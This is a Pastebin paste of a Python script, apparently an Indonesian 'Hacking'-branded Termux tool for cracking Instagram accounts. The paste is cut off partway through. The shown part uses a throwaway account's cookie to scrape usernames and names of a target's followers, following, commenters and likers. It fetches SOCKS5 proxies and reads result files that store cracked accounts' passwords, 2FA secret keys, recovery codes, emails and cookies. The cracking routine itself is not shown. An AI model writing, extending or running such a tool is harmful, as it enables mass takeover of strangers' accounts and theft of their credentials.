OBF-XIn

112.215.167.101-/sdcard/Premium/instagram.py.py

Mar 13th, 2024
28
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 84.96 KB | None | 0 0
  1. # create by ZORA ID 2024
  2.  
  3. import uuid, hmac, hashlib, urllib, shutil, base64
  4. import os, re, sys, json, time, random, datetime, requests
  5. from asset.enc_password import Requre
  6. from asset.amankan_data import Require
  7. from asset.useragent import Useragent
  8. from facebook import Facebook
  9. from bs4 import BeautifulSoup as bs
  10. from rich.tree import Tree
  11. from rich import print as printz
  12. from rich.panel import Panel
  13. from rich.console import Console
  14. from rich.columns import Columns
  15. from concurrent.futures import ThreadPoolExecutor
  16.  
  17. dump = []
  18.            
  19. class Requ:
  20.     def __init__(self) -> None:
  21.         self.proxies = []
  22.         pass        
  23.        
  24.     def Convert_Name(self, xxx, cookie):
  25.         with requests.Session() as r:
  26.             try:
  27.                 response = r.get(f'https://www.instagram.com/{xxx}/', headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}, cookies={'cookie': cookie}).text
  28.                 if 'user_id' in str(response):
  29.                     return(re.findall('"user_id":"(\d+)"', str(response))[0])
  30.             except (Exception) as e: pass
  31.            
  32.     def Convert_Url(self, xxx, cookie):
  33.         with requests.Session() as r:
  34.             try:
  35.                 response = r.get(xxx, cookies={'cookie': cookie}).text
  36.                 if 'media_id' in str(response):
  37.                     return(re.findall('{"media_id":"(.*?)"',str(response))[0])
  38.             except (Exception) as e: exit(e)
  39.  
  40.     def Validasi_Username(self, username):
  41.        with requests.Session() as r:
  42.            try:
  43.                response = r.get("https://i.instagram.com/api/v1/users/web_profile_info/?username={}".format(username), headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}).json()
  44.                return (response["data"]["user"]["full_name"], response["data"]["user"]["edge_followed_by"]["count"], response["data"]["user"]["edge_follow"]["count"], response["data"]["user"]["edge_owner_to_timeline_media"]["count"])
  45.            except (Exception) as e: return(None,None,None,None)
  46.        
  47.     def Socksku(self):
  48.         with requests.Session() as r:
  49.             try:
  50.                 response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
  51.                 for prox in response.splitlines():
  52.                     self.proxies.append(prox)
  53.                 return self.proxies
  54.             except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()                
  55.  
  56. class Terminal:
  57.     def __init__(self) -> None:
  58.         pass
  59.        
  60.     def Clear_Terminal(self):
  61.         os.system('clear' if 'linux' in sys.platform.lower() else 'cls')
  62.        
  63.     def Banner_Terminal(self):
  64.         self.Clear_Terminal()
  65.         Console(width = 65, style = "bold grey50").print(Panel("""[bold red]●[bold yellow] ●[bold green] ●[bold white]
  66. [bold red]           _____                 _____  _____)     __  
  67. [bold red]          (, /  |       ,       (, /  /        (__/  )
  68.            /---| __      __      /  /   ___     /    
  69. [bold white]         ) /    |_/_)__(_     ___/__/     / ) ) /      
  70. [bold white]        (_/    .-/          (__ /  (____ /   (_/      
  71.              (_/                                            
  72.     [bold white]Version :[bold blue] 2.0[bold white] || Status :[bold green] Premium[bold white] || Type :[bold blue] Hacking"""))
  73.         return ("Berhasil")
  74.        
  75.     def Layar_Terminal(self):
  76.         self.get_terminal_size = re.search('columns=(\d+),', str(os.get_terminal_size())).group(1)
  77.         if int(self.get_terminal_size) < 65:
  78.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Anda Diwajibkan Untuk Mengecilkan Tampilan Termux Sampai Kotak Ini Terlihat Rapi!..."))
  79.             exit()
  80.         else:
  81.             pass
  82.        
  83. class Login:
  84.     def __init__(self) -> None:
  85.         Terminal().Layar_Terminal()
  86.         pass
  87.        
  88.     def Username_And_Password(self):
  89.         try:
  90.             Terminal().Banner_Terminal()
  91.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Cookie Instagram, Pastikan Akun Tidak Limite!", subtitle = "╭─────", subtitle_align = "left"))
  92.             cookies = Console().input("[bold grey50]   ╰─> ")
  93.             if len(cookies) >0:
  94.                 self.username,  self.fullname = self.Validasi_Cookies(cookies)
  95.                 with open('Cookie_Instagram.json', 'w') as wr:
  96.                     wr.write(json.dumps({
  97.                         "Cookie": cookies,
  98.                     }))
  99.                     wr.close()
  100.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Datang [green]{self.username}/{self.fullname}[white], Jalankan Ulang Perintahnya!!..."))
  101.                 exit()
  102.             else:
  103.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Masukan Cookie Instagram, Masukan Dengan Benar, Jangan Kosong Ngab!!..."))
  104.                 exit()
  105.         except (KeyboardInterrupt, Exception) as e:
  106.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Opss, Cookies Salah, Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!"))
  107.             exit()    
  108.        
  109.     def Validasi_Cookies(self, cookies):
  110.         with requests.Session() as r:
  111.             r.headers.update({
  112.                 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3',
  113.             })
  114.             response = r.get('https://i.instagram.com/api/v1/users/{}/info/'.format(re.findall('ds_user_id=(\d+)',str(cookies))[0]), cookies = {
  115.                 'cookie': cookies
  116.             })
  117.             self.payload = json.loads(response.text)
  118.             if '\'username\':' in str(self.payload):
  119.                 self.username = self.payload['user']['username']
  120.                 self.fullname = self.payload['user']['full_name']
  121.                 return(self.username, self.fullname)
  122.             else:
  123.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Opss, Cookies Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!"))
  124.                 time.sleep(3.5)
  125.                 self.Username_And_Password()
  126.                
  127. class Instagram:
  128.     def __init__(self):
  129.         self.uaman, self.uaku = [],[]
  130.         self.Kilometers, self.Meterans, self.amankan_akun = [],[],[]
  131.         self.success, self.chekpoint, self.faktor, self.looping = 0,0,0,0
  132.  
  133.     def Remove_Cookie(self):
  134.         try: os.system('rm -rf Cookie_Instagram.json')
  135.         except (Exception): pass
  136.         Login().Username_And_Password()
  137.  
  138.     def Chek_Cookies(self, created, exspired, sisa):
  139.         try:
  140.            cookie = json.loads(open('Cookie_Instagram.json', 'r').read())['Cookie']
  141.            self.Menu_Instagram(created, exspired, sisa, cookie)          
  142.         except (FileNotFoundError) as e:
  143.            Terminal().Clear_Terminal()
  144.            Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  145.            Console().input("[bold grey50]   ╰─> File Not Found Error!!..")
  146.            self.Remove_Cookie()
  147.            
  148.     def Menu_Instagram(self, created, exspired, sisa, cookie):
  149.         try:
  150.             self.username, self.fullname = Login().Validasi_Cookies(cookie)
  151.         except (KeyError) as e:
  152.             Terminal().Clear_Terminal()
  153.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  154.             Console().input("[bold grey50]   ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!..")
  155.             self.Remove_Cookie()
  156.            
  157.         except (requests.exceptions.ConnectionError) as e:
  158.             Terminal().Clear_Terminal()
  159.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  160.             Console().input("[bold grey50]   ╰─> Terjadi Kesalahan, Koneksi Anda Error!!..")
  161.             self.Chek_Cookies()
  162.         try:                    
  163.             Terminal().Banner_Terminal()
  164.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Username [bold green]{self.username}\n[bold green]•[bold white] Fullname [bold green]{self.fullname}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Info Akun) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  165.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Bergabung [bold green]{created}\n[bold green]•[bold white] Expired [bold green]{exspired} [bold yellow]{sisa}[bold white] hari', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Info License) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  166.             Console().print(Columns(self.Kilometers))
  167.         except (AttributeError) as e:
  168.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  169.             exit()
  170.         Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack Nama Dari Follower\t[bold white][bold green]06[bold white]. Chek Result Crack\n[bold white][bold green]02[bold white]. Crack Nama Dari Followed\t[bold white][bold green]07[bold white]. Beralih Ke Facebook\n[bold white][bold green]03[bold white]. Crack Nama Dari Search\t[bold white][bold red]00[bold white]. Deleted Cookies\n[bold white][bold green]04[bold white]. Crack Nama Dari Komentar\n[bold white][bold green]05[bold white]. Crack Nama Dari Likes''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Menu Instagram) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  171.         query = Console().input("[bold grey50]   ╰─> ")
  172.         if query == '01' or query == '1':
  173.             try:
  174.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  175.                 username = Console().input("[bold grey50]   ╰─> ")
  176.                 for self.username in username.split(','):
  177.                     uid = Requ().Convert_Name(self.username, cookie)
  178.                 try: self.Dump_Followers(uid, cookie, '')
  179.                 except (Exception) as e: pass
  180.                 if len(dump) < 50:
  181.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  182.                     exit()
  183.                 else:
  184.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  185.                     self.Methode()
  186.             except (Exception) as e:
  187.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  188.                 exit()
  189.                
  190.         elif query == '02' or query == '2':
  191.             try:
  192.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  193.                 username = Console().input("[bold grey50]   ╰─> ")
  194.                 for self.username in username.split(','):
  195.                     uid = Requ().Convert_Name(self.username, cookie)
  196.                 try: self.Dump_Following(uid, cookie, '')
  197.                 except (Exception) as e: pass
  198.                 if len(dump) < 50:
  199.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  200.                     exit()
  201.                 else:
  202.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  203.                     self.Methode()
  204.             except (Exception) as e:
  205.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  206.                 exit()
  207.                
  208.         elif query == '03' or query == '3':
  209.             try:
  210.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  211.                 username = Console().input("[bold grey50]   ╰─> ")
  212.                 for self.username in username.split(','):
  213.                     try: self.Dump_Search(self.username, cookie)
  214.                     except (Exception) as e: pass
  215.                 if len(dump) < 50:
  216.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  217.                     exit()
  218.                 else:
  219.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  220.                     self.Methode()
  221.             except (Exception) as e:
  222.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  223.                 exit()
  224.                
  225.         elif query == '04' or query == '4':
  226.             try:
  227.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  228.                 username = Console().input("[bold grey50]   ╰─> ")
  229.                 for self.username in username.split(','):
  230.                     uid = Requ().Convert_Url(self.username, cookie)
  231.                 try: self.Dump_Komentar(uid, cookie, '')
  232.                 except (Exception) as e: pass
  233.                 if len(dump) < 50:
  234.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  235.                     exit()
  236.                 else:
  237.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  238.                     self.Methode()
  239.             except (Exception) as e:
  240.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  241.                 exit()
  242.                
  243.         elif query == '05' or query == '5':
  244.             try:
  245.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  246.                 username = Console().input("[bold grey50]   ╰─> ")
  247.                 for self.username in username.split(','):
  248.                     uid = Requ().Convert_Url(self.username, cookie)
  249.                 try: self.Dump_Likers(uid, cookie, '')
  250.                 except (Exception) as e: pass
  251.                 if len(dump) < 50:
  252.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  253.                     exit()
  254.                 else:
  255.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  256.                     self.Methode()
  257.             except (Exception) as e:
  258.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  259.                 exit()
  260.                
  261.         elif query == '06' or query == '6':
  262.             try:
  263.                 Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result 2F\n[bold green]03[bold white]. Chek Result CP',style='bold grey50'), justify='center')
  264.                 choose = Console().input("[bold grey50]   ╰─> ")
  265.                 if choose =='01' or choose =='1':
  266.                     try:
  267.                         file = os.listdir('/sdcard/OK')
  268.                     except (Exception) as e:
  269.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  270.                         exit()
  271.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File OK) [bold green]<[bold yellow]<[bold red]<"))
  272.                     Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]OK-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  273.                     files = Console().input("[bold grey50]   ╰─> ")
  274.                     self.Result(choose,files)
  275.                     exit()
  276.                 elif choose =='02' or choose =='2':
  277.                     try:
  278.                         file = os.listdir('/sdcard/2F')
  279.                     except (Exception) as e:
  280.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  281.                         exit()
  282.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File 2F) [bold green]<[bold yellow]<[bold red]<"))
  283.                     Console(width=65).print(Panel('[bold white]Chek File 2F, Masukan Nama File, Misalnya : [bold red]2F-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  284.                     files = Console().input("[bold grey50]   ╰─> ")
  285.                     self.Result(choose,files)
  286.                     exit()
  287.                 elif choose =='03' or choose =='3':
  288.                     try:
  289.                         file = os.listdir('/sdcard/CP')
  290.                     except (Exception) as e:
  291.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  292.                         exit()
  293.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File CP) [bold green]<[bold yellow]<[bold red]<"))
  294.                     Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  295.                     files = Console().input("[bold grey50]   ╰─> ")
  296.                     self.Result(choose,files)
  297.                     exit()
  298.                 else:
  299.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  300.                     exit()  
  301.             except (Exception) as e:
  302.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  303.                 exit()
  304.                
  305.         elif query == '07' or query == '7':
  306.             try: Facebook()
  307.             except (Exception) as e:
  308.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  309.                 exit()
  310.                              
  311.         elif query == '00' or query == '0':
  312.             try: self.Remove_Cookie()
  313.             except (Exception) as e:
  314.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  315.                 exit()
  316.         else:
  317.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  318.             exit()              
  319.                  
  320.     def Dump_Search(self, username, cookie):
  321.         with requests.Session() as r:
  322.             try:
  323.                 response = r.get(f'https://i.instagram.com/api/v1/web/search/topsearch/?context=blended&query={self.username}&rank_token=0.11856792192547738&include_reel=true',headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie':cookie}).json()
  324.                 for akun in response['users']:
  325.                     if akun not in dump:
  326.                         dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
  327.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(self.username)[:20]}/{len(dump)} Username...     ", end='\r')
  328.                 if 'next_max_id' in str(response):
  329.                     self.Dump_Search(self.username, cookie)
  330.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass      
  331.            
  332.     def Dump_Followers(self, username, cookie, max_id):
  333.         with requests.Session() as r:
  334.             try:
  335.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  336.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/followers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  337.                 for akun in response['users']:
  338.                     if akun not in dump:
  339.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  340.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  341.                 if 'next_max_id' in str(response):
  342.                     self.Dump_Followers(username, cookie, response['next_max_id'])
  343.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  344.            
  345.     def Dump_Following(self, username, cookie, max_id):
  346.         with requests.Session() as r:
  347.             try:
  348.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  349.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/following/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  350.                 for akun in response['users']:
  351.                     if akun not in dump:
  352.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  353.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  354.                 if 'next_max_id' in str(response):
  355.                     self.Dump_Following(username, cookie, response['next_max_id'])
  356.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  357.            
  358.     def Dump_Komentar(self, username, cookie, max_min):
  359.         with requests.Session() as r:
  360.             try:
  361.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  362.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/comments/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  363.                 for akun in response['comments']:
  364.                     if akun not in dump:
  365.                         dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
  366.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  367.                 if 'next_min_id' in str(response):
  368.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  369.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
  370.            
  371.     def Dump_Likers(self, username, cookie, max_min):
  372.         with requests.Session() as r:
  373.             try:
  374.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  375.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/likers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  376.                 for akun in response['users']:
  377.                     if akun not in dump:
  378.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  379.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  380.                 if 'next_min_id' in str(response):
  381.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  382.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  383.            
  384.     def Result(self, result, isi):
  385.         if result in ('1','01'):
  386.             for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
  387.                 try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f'\r╭ auth secure account',style='green'); true.add(f"status two {buka.split('|')[6]}"); true.add(f"secret key {buka.split('|')[7]}"); true.add(f"pemulihan {buka.split('|')[8]}"); true.add(f"telephone {buka.split('|')[9]}"); true.add(f"add email {buka.split('|')[10]}"); true.add(f"web email {buka.split('|')[11]}"); true = tree.add(f"Cookie {buka.split('|')[12]}"); tree.add("Success cek in Result OK"); printz(tree)
  388.                 except Exception: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f"Cookie {buka.split('|')[6]}"); tree.add("Success cek in Result OK"); printz(tree)
  389.                    
  390.         elif result in ('2','02'):
